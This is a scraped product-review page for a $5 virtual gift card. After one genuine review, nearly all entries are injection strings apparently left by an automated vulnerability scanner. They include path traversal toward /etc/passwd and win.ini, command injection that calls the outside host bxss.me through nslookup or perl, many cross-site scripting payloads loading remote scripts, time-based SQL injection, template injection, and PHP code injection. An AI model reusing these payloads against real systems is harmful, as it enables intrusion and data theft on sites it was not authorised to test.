Product reviews for $5 Virtual Gift Card

This sample review is for the $5 Virtual Gift Card. I've been waiting for this product to be available. It is priced just right.

555

555

555

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

akRoziwB

555

555

555

12345'"\'\");|]*{
<>�''💡

../../../../../../../../../../../../../../etc/passwd

555<esi:include src="http://bxss.me/rpb.png"/>

../../../../../../../../../../../../../../windows/win.ini

response.write(9214033*9430878)

555

555

'+response.write(9214033*9430878)+'

"+response.write(9214033*9430878)+"

555

../555

555

555

${9999234+10000165}

./555

555

555

555

555

555

echo zopjqm$()\ qaakxk\nz^xyu||a #' &echo zopjqm$()\ qaakxk\nz^xyu||a #|" &echo zopjqm$()\ qaakxk\nz^xyu||a #

&echo hkzifn$()\ lfejrp\nz^xyu||a #' &echo hkzifn$()\ lfejrp\nz^xyu||a #|" &echo hkzifn$()\ lfejrp\nz^xyu||a #

555

|echo nvupba$()\ syzstn\nz^xyu||a #' |echo nvupba$()\ syzstn\nz^xyu||a #|" |echo nvupba$()\ syzstn\nz^xyu||a #

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

(nslookup hitcrifluzquda8172.bxss.me||perl -e "gethostbyname('hitcrifluzquda8172.bxss.me')")

$(nslookup hituzwaatsxjwb71db.bxss.me||perl -e "gethostbyname('hituzwaatsxjwb71db.bxss.me')")

555&n991201=v940783

1some_inexistent_file_with_long_name.jpg

555

555

555

555

Http://bxss.me/t/fit.txt

555

http://bxss.me/t/fit.txt?.jpg

555

555

555

bxss.me

555

555

)

555

!(()&&!|*|*|

^(#$!@#$)(()))******

555

'"()

555

555

555

555

555

&(nslookup hitubmbsavjiz9c2f4.bxss.me||perl -e "gethostbyname('hitubmbsavjiz9c2f4.bxss.me')")&'\"`0&(nslookup hitubmbsavjiz9c2f4.bxss.me||perl -e "gethostbyname('hitubmbsavjiz9c2f4.bxss.me')")&`'

&(nslookup hitubmbsavjiz9c2f4.bxss.me||perl -e "gethostbyname('hitubmbsavjiz9c2f4.bxss.me')")&'\"`0&(nslookup hitubmbsavjiz9c2f4.bxss.me||perl -e "gethostbyname('hitubmbsavjiz9c2f4.bxss.me')")&`'

|(nslookup hitxkmfotizfzb2100.bxss.me||perl -e "gethostbyname('hitxkmfotizfzb2100.bxss.me')")

`(nslookup hitvjovfwrltgb29d1.bxss.me||perl -e "gethostbyname('hitvjovfwrltgb29d1.bxss.me')")`

555

;(nslookup hitcchwqhpgqmde908.bxss.me||perl -e "gethostbyname('hitcchwqhpgqmde908.bxss.me')")|(nslookup hitcchwqhpgqmde908.bxss.me||perl -e "gethostbyname('hitcchwqhpgqmde908.bxss.me')")&(nslookup hitcchwqhpgqmde908.bxss.me||perl -e "gethostbyname('hitcchwqhpgqmde908.bxss.me')")

555

555

555

"+"A".concat(70-3).concat(22*4).concat(102).concat(68).concat(118).concat(89)+(require"socket"
Socket.gethostbyname("hitam"+"uzkdwrwca79f5.bxss.me.")[3].to_s)+"

HttP://bxss.me/t/xss.html?%00

555

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(102).concat(85).concat(104).concat(68)+(require'socket'
Socket.gethostbyname('hitya'+'zhcelggtdd732.bxss.me.')[3].to_s)+'

555

555

555

555

555

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555

-1 OR 2+910-910-1=0+0+0+1 --

555

'"

555

<!--

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

555

-1 OR 3+910-910-1=0+0+0+1 --

1

-1 OR 3*2<(0+5+910-910) --

/xfs.bxss.me

-1 OR 3*2>(0+5+910-910) --

977630

1/.

-1 OR 2+874-874-1=0+0+0+1

'.gethostbyname(lc('hitmu'.'dakdoyqrc3ab8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(76).chr(121).chr(78).'

-1 OR 3+874-874-1=0+0+0+1

555

".gethostbyname(lc("hitci"."gdxabixe38516.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(85).chr(99).chr(76)."

555

555

555

555

555

555

555'"()&%<acx><ScRiPt >4fj7(9665)</ScRiPt>

555

'"()&%<acx><ScRiPt >4fj7(9047)</ScRiPt>

5559959081

555

acu8106＜s1﹥s2ʺs3ʹuca8106

555

555

acux3020��z1��z2a�bcxuca3020

http://xfs.bxss.me

//xfs.bxss.me

<%={{={@{#{${acx}}%>

555

/\xfs.bxss.me

<th:t="${acx}#foreach

-1 OR 3*2<(0+5+874-874)

555

-1 OR 3*2>(0+5+874-874)

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

555

555

-1' OR 2+263-263-1=0+0+0+1 --

-1' OR 3+263-263-1=0+0+0+1 --

-1' OR 3*2<(0+5+263-263) --

-1' OR 3*2>(0+5+263-263) --

555

acx{{98991*97996}}xca

-1' OR 2+605-605-1=0+0+0+1 or 'rlzx5HZ2'='

acx[[${98991*97996}]]xca

-1' OR 3+605-605-1=0+0+0+1 or 'rlzx5HZ2'='

-1' OR 3*2<(0+5+605-605) or 'rlzx5HZ2'='

acx__${98991*97996}__::.x

-1' OR 3*2>(0+5+605-605) or 'rlzx5HZ2'='

-1 OR 3*2<(0+5+874-874)

555

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

http://xfs.bxss.me

-1" OR 2+806-806-1=0+0+0+1 --

555<ScRiPt >4fj7(9045)</ScRiPt>

555<WSMFPI>DDKQF[!+!]</WSMFPI>

-1" OR 3+806-806-1=0+0+0+1 --

555

555

-1" OR 3*2<(0+5+806-806) --

-1" OR 3*2>(0+5+806-806) --

555<script>4fj7(9389)</script>

'.gethostbyname(lc('hitmu'.'dakdoyqrc3ab8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(76).chr(121).chr(78).'

555<ScR<ScRiPt>IpT>4fj7(9413)</sCr<ScRiPt>IpT>

if(now()=sysdate(),sleep(15),0)

555

555<ScRiPt
>4fj7(9333)</ScRiPt>

1

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9178></ScRiPt>

-1 OR 2+910-910-1=0+0+0+1 --

';print(md5(31337));$a='

555

555

0'XOR(if(now()=sysdate(),sleep(31.028),0))XOR'Z

';print(md5(31337));$a='

555

555<ScRiPt
>4fj7(9098)</ScRiPt>

555<svg  

�onload=4fj7(9317);>

0"XOR(if(now()=sysdate(),sleep(31.028),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1; waitfor delay '0:0:15' --

555<ScRiPt
>4fj7(9098)</ScRiPt>

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

555<isindex type=image src=1 onerror=4fj7(9996)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9205'>

555<body onload=4fj7(9725)>

555<img src=//xss.bxss.me/t/dot.gif onload=4fj7(9499)>

555<img src=xyz OnErRor=4fj7(9737)>

1 waitfor delay '0:0:15' --

555<img/src=">" onerror=alert(9012)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%34%66%6A%37%289386%29%3C%2F%73%43%72%69%70%54%3E

555

555\u003CScRiPt\4fj7(9428)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;4fj7(9445)&lt;/sCripT&gt;

�<img acu onmouseover=4fj7(93751) //�>

555<input autofocus onfocus=4fj7(9747)>

<a HrEF=http://xss.bxss.me></a>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1 waitfor delay '0:0:62.056' --

bm3WfQ0I'; waitfor delay '0:0:15' --

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(4fj7(9770))}

555<% contenteditable onresize=4fj7(9201)>

555w2zO0
<ScRiPt >4fj7(9813)</ScRiPt>

555<WYFVTQ>EWQUC[!+!]</WYFVTQ>

iogFnKcR'); waitfor delay '0:0:15' --

555<ifRAme sRc=9809.com></IfRamE>

555<yEN8qb x=9467>

555<img sRc='http://attacker-9940/log.php?

BjBn0VP5')); waitfor delay '0:0:15' --

-5 OR 360=(SELECT 360 FROM PG_SLEEP(15))--

rtxbopg2'); waitfor delay '0:0:15' --

-5) OR 629=(SELECT 629 FROM PG_SLEEP(15))--

555<pooOyY<

555

-1)) OR 857=(SELECT 857 FROM PG_SLEEP(15))--

rpUJ3LD1' OR 23=(SELECT 23 FROM PG_SLEEP(15))--

555<pooOyY<

555

555

Z8uhPlsX') OR 261=(SELECT 261 FROM PG_SLEEP(15))--

555

555

555

555

555

555

555

555

555

555

555

yUk5F5xz')) OR 768=(SELECT 768 FROM PG_SLEEP(62.056))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

4MUaEhgb')) OR 610=(SELECT 610 FROM PG_SLEEP(15))--

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

555

555

1'"

555

1����%2527%2522

555

555

555

555

';print(md5(31337));$a='

555

555

555

555

555

555

555

@@JAvuT

@@JAvuT

555

555

555

555

555

555

555

555

555

555

555

555

-1 OR 2+165-165-1=0+0+0+1 --

555

-1 OR 3+165-165-1=0+0+0+1 --

555

555

-1 OR 3*2<(0+5+165-165) --

555

555

-1 OR 3*2>(0+5+165-165) --

555

555

-1 OR 2+221-221-1=0+0+0+1

555

555

-1 OR 3+221-221-1=0+0+0+1

555

555

-1 OR 3*2<(0+5+221-221)

555

-1 OR 3*2>(0+5+221-221)

555